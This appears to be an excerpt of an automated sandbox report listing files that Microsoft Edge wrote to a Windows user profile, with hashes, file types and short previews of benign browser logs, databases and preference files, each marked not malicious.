C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27e7d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ce554abb-a06b-425d-8ac5-c06b8f4b9be6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.237650945905745
Encrypted:	false
SSDEEP:	12:s4LlVvLZYebvqBZFUt8B4LbG1/+B4L3YI54ZYebvqBaJ:vrlYebvyg8++dJoYebvL
MD5:	211085E29676D7CC87BF4C494C625D21
SHA1:	38BF4E9350CD1B4F733712A5B6B23D486C1826DF
SHA-256:	CC74CD6C627DB985AEF092B9063D00FB6150E9D328E88B6135D5A3FC756BFA96
SHA-512:	0FA332E571364B9EE4EB90DD427D854A381AE2E92A0227A4C30B95CDDB34B96426AE2E9213740AA7CC43C3D8F03097193AD6FD1EED35A87874CE1C71F9668FDB
Malicious:	false
Preview:	2024/11/28-06:50:05.916 1f30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-06:50:05.918 1f30 Recovering log #3.2024/11/28-06:50:05.922 1f30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.237650945905745
Encrypted:	false
SSDEEP:	12:s4LlVvLZYebvqBZFUt8B4LbG1/+B4L3YI54ZYebvqBaJ:vrlYebvyg8++dJoYebvL
MD5:	211085E29676D7CC87BF4C494C625D21
SHA1:	38BF4E9350CD1B4F733712A5B6B23D486C1826DF
SHA-256:	CC74CD6C627DB985AEF092B9063D00FB6150E9D328E88B6135D5A3FC756BFA96
SHA-512:	0FA332E571364B9EE4EB90DD427D854A381AE2E92A0227A4C30B95CDDB34B96426AE2E9213740AA7CC43C3D8F03097193AD6FD1EED35A87874CE1C71F9668FDB
Malicious:	false
Preview:	2024/11/28-06:50:05.916 1f30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-06:50:05.918 1f30 Recovering log #3.2024/11/28-06:50:05.922 1f30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.259537528059853
Encrypted:	false
SSDEEP:	6:HMbz4q2PcNwi23oH+TcwtpIFUt8YMbxZmw+YMb0kwOcNwi23oH+Tcwta/WLJ:sYvLZYebmFUt8BF/+Bg54ZYebaUJ
MD5:	24436E7967131821989EB342E54F0CE3
SHA1:	37947F9D9F67C601DE4BB1185B6EC79650EC9082
SHA-256:	02C1C417E70D179A7D24402C255035E73E3A6C4F22361080A98310725C7DFFB3
SHA-512:	44A7752DF143A2A1409C30D076D136D90384510AD136B50774F48320591108DBB8812A3D0FE4D1E527C2A39A6BD138E7DD7E4F5445C1FE3570AF46CE82B5987F
Malicious:	false
Preview:	2024/11/28-06:49:47.019 950 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-06:49:47.020 950 Recovering log #3.2024/11/28-06:49:47.021 950 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.259537528059853
Encrypted:	false
SSDEEP:	6:HMbz4q2PcNwi23oH+TcwtpIFUt8YMbxZmw+YMb0kwOcNwi23oH+Tcwta/WLJ:sYvLZYebmFUt8BF/+Bg54ZYebaUJ
MD5:	24436E7967131821989EB342E54F0CE3
SHA1:	37947F9D9F67C601DE4BB1185B6EC79650EC9082
SHA-256:	02C1C417E70D179A7D24402C255035E73E3A6C4F22361080A98310725C7DFFB3
SHA-512:	44A7752DF143A2A1409C30D076D136D90384510AD136B50774F48320591108DBB8812A3D0FE4D1E527C2A39A6BD138E7DD7E4F5445C1FE3570AF46CE82B5987F
Malicious:	false
Preview:	2024/11/28-06:49:47.019 950 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-06:49:47.020 950 Recovering log #3.2024/11/28-06:49:47.021 950 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654304586348966
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMcSAELyKOMq+8HKkjucswRv8p3nVumB:K0q+n0Jc9ELyKOMq+8HKkjuczRv89F
MD5:	BB4F91BC8DC926C1FEE07935232EA5E3
SHA1:	D4E4A9C246EA7845DCF45426BBEC43ACE548517B
SHA-256:	7349714326BBA7DA8E9A0B114858F186DDD8522C7E971C6BD04E24C94BD1A7A8
SHA-512:	C39CCC53E639FA6475D3A3A337D7398DA762A1C4C94978E766534A2B074AC2FF7C6D185B128A0E8D2CF465FB44E67161434EFEC29B34FD0D221EF3D15AB672E5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4668783806961863
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0A0o:v7doKsKuKZKlZNmu46yjx0AP
MD5:	66C1B1F491850637EE1B4A809B81282F
SHA1:	D8B9FACEC94766A3FB83567CD5B2AACF990CE905
SHA-256:	8461E7749223EA2A0A83FE13E776A25F4DA173F5C9D78165601123D2BDB91281
SHA-512:	7581EB3AA9009A92748913D0E443776295980B7B7026FD946CC23DBF3BA6FA45AB3B3841CEE654725BB137611F9A7F37E0F8E1F2B87B7321C9279C25D6E7F4DF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a5ee3a8e-fb1d-42b7-bb59-5e04a171d377.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.111032451233881
Encrypted:	false
SSDEEP:	192:stykdpXslZCoyaNP9k1NoB8+bV+FExQAl9lPlOYJ:styQXsl4otJzbG2QeHf
MD5:	AFB2D8C084B2D0234C9D80C00F0FDC26
SHA1:	2041DA83CABA970BBF23A13B683B321380D11A94
SHA-256:	3ED4846660447E53E28C937AEDDC37DD26CF183E240CB6040D687C05E70EE25E
SHA-512:	0AC0FB1A96B8BD1D2664F4E3A623921A2C27ED8FA7E2229F7F2E5E662AD7037BA3DA337F3869054C388ADBBC47C8AD2E16665AECE36B9DC877698D6830A30456
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\be5bcd9c-56e9-4ede-b164-82f458384049.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17199), with no line terminators
Category:	dropped
Size (bytes):	17203
Entropy (8bit):	5.50011415308384
Encrypted:	false
SSDEEP:	384:styPGQSu4Xsl4otJgTQIEn8WJ4gbG2QwdHf:swOXu14oFLbGFEf
MD5:	09A957E7DF25BD0DA45FFFFA809ADD26
SHA1:	8FDCC6BAF595F612E3936463588772BAEC83D437
SHA-256:	D39C61793270DCBF1B2DB62EDFA0A4FF7241CFFB44A165D03FEDF2EE79F6314F
SHA-512:	DF396F490EC8CA7E4E3AE67BB66BCA37B2B47456191565FD4D5DFFB68729CEF606E5E1FF05F076C2E85289074537A42F40E885FB062E432362BD08AE539E1181
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c7ca9c3a-85be-4a39-9f8d-bf833bfdb5f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10222028919163718
Encrypted:	false
SSDEEP:	12:+PFQPdRspEjVl/PnnnnnnnnnnnvoQ/Eou:+P2PEoPnnnnnnnnnnnv1j
MD5:	4096C6398038AEAE159C467313336E5D
SHA1:	CBD439EBF248BEDE7660D5E124297A5874579421
SHA-256:	00A63866CACF028F24EB676AD5088A2D1B76F192664A29761BE09CA8A5295652
SHA-512:	A8D9457529DDE86FE6F32131B3ED5194402C0337E7D72551E5E79BF2053C5534DD52DC965BD687A52E1FAC477E493D80C075658AED917A3B484E5F61991F3FB0
Malicious:	false
Preview:	..-.............M.......[f......3.-.....x.-'..r:..-.............M.......[f......3.-.....x.-'..r:........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8874805432595567
Encrypted:	false
SSDEEP:	384:oralIJBjVXNRkxPc3OpvLf01Hgv8VyPyKdylyIKyVxyP5:4LI
MD5:	276FBAC5BE93AE5385E1D010CD972A05
SHA1:	55524E65C11B078A512DDBFBCF03F94915A901F0
SHA-256:	D0B4A5B6D73CAA3DBCE5ABEC0CC62BCCE03B0926D9FB006541D2FF172315AD11
SHA-512:	78C43809ECD2B9AB24501BAC60A6F341391745F71BB65E24ED289960AAB05AA54E4D4EBCBF847013BFFB1C7AC80BF3E6C1D26EC43EBA5803F96E0F3384A06C95
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.68313864289794
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuuZOPsedhOaRV:llc8BOuuuuuuuuuuuu189RV
MD5:	D992B96A734D60816E152F2831FD6F90
SHA1:	844F8B9B352245AE441D85841D26F5779AC8D205
SHA-256:	45075419DF304CEB71005DAC69413587A0BCE05AB5C3B8DDADD3374B1C38BB21
SHA-512:	6D04F38D5F5E803D3016FD57A3F4823191474FC97F6BFE5BC32CC603087553707F8EC7842752A4BED7DD908AD854B2CD32CEAFCF9F1FFC321AB704D36D30C2A2
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................'..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.288543180903233
Encrypted:	false
SSDEEP:	6:HMbYG3+q2PcNwi23oH+TcwtfrK+IFUt8YMb0Zmw+YMbSVkwOcNwi23oH+TcwtfrF:sn3+vLZYeb23FUt8BQ/+BGV54ZYeb3J
MD5:	3C3435E155FD22E92BB57BE126E5802E
SHA1:	623821C5BA39B98B381590BE9723F5CE5D4A15CA
SHA-256:	0C7C5727617D5DEC101CFF0B0A234C8C04665B2161AF66BF6569B44634F04717
SHA-512:	0C5B9D6A66118EFFACD30296047DD84BB168FF7E054A1031C46FF6C514ADBD439DA81D7D82BF771637278B5A34435B779A8D30FD9BB0073BB26B956E4C0EBA5E
Malicious:	false
Preview:	2024/11/28-06:49:47.524 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-06:49:47.527 f4c Recovering log #3.2024/11/28-06:49:47.529 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.288543180903233
Encrypted:	false
SSDEEP:	6:HMbYG3+q2PcNwi23oH+TcwtfrK+IFUt8YMb0Zmw+YMbSVkwOcNwi23oH+TcwtfrF:sn3+vLZYeb23FUt8BQ/+BGV54ZYeb3J
MD5:	3C3435E155FD22E92BB57BE126E5802E
SHA1:	623821C5BA39B98B381590BE9723F5CE5D4A15CA
SHA-256:	0C7C5727617D5DEC101CFF0B0A234C8C04665B2161AF66BF6569B44634F04717
SHA-512:	0C5B9D6A66118EFFACD30296047DD84BB168FF7E054A1031C46FF6C514ADBD439DA81D7D82BF771637278B5A34435B779A8D30FD9BB0073BB26B956E4C0EBA5E
Malicious:	false
Preview:	2024/11/28-06:49:47.524 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-06:49:47.527 f4c Recovering log #3.2024/11/28-06:49:47.529 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.27195199246132
Encrypted:	false
SSDEEP:	6:HMbLi+q2PcNwi23oH+TcwtfrzAdIFUt8YMb8sZmw+YMbfVkwOcNwi23oH+Tcwtfa:si+vLZYeb9FUt8Bn/+BjV54ZYeb2J
MD5:	951494E2B49859322B8EC0B01D7E2B37
SHA1:	89337A0298D34B60A19BC2185CEC33AF589DBEED
SHA-256:	B8F2C76D733A7E3BAA830BC50EC4ACCE910C3ACE56702DAF964AE2C34942174E
SHA-512:	16C0DAD84C434E1C1ADDCB8CCD0CE29C30FB6808C5962A053FFDDB5BB543360FA51D0E88F728980ED399C90D8C553BF3A92BC967C178C9C29CB1A43133781D06
Malicious:	false
Preview:	2024/11/28-06:49:47.518 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-06:49:47.519 f4c Recovering log #3.2024/11/28-06:49:47.520 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.27195199246132
Encrypted:	false
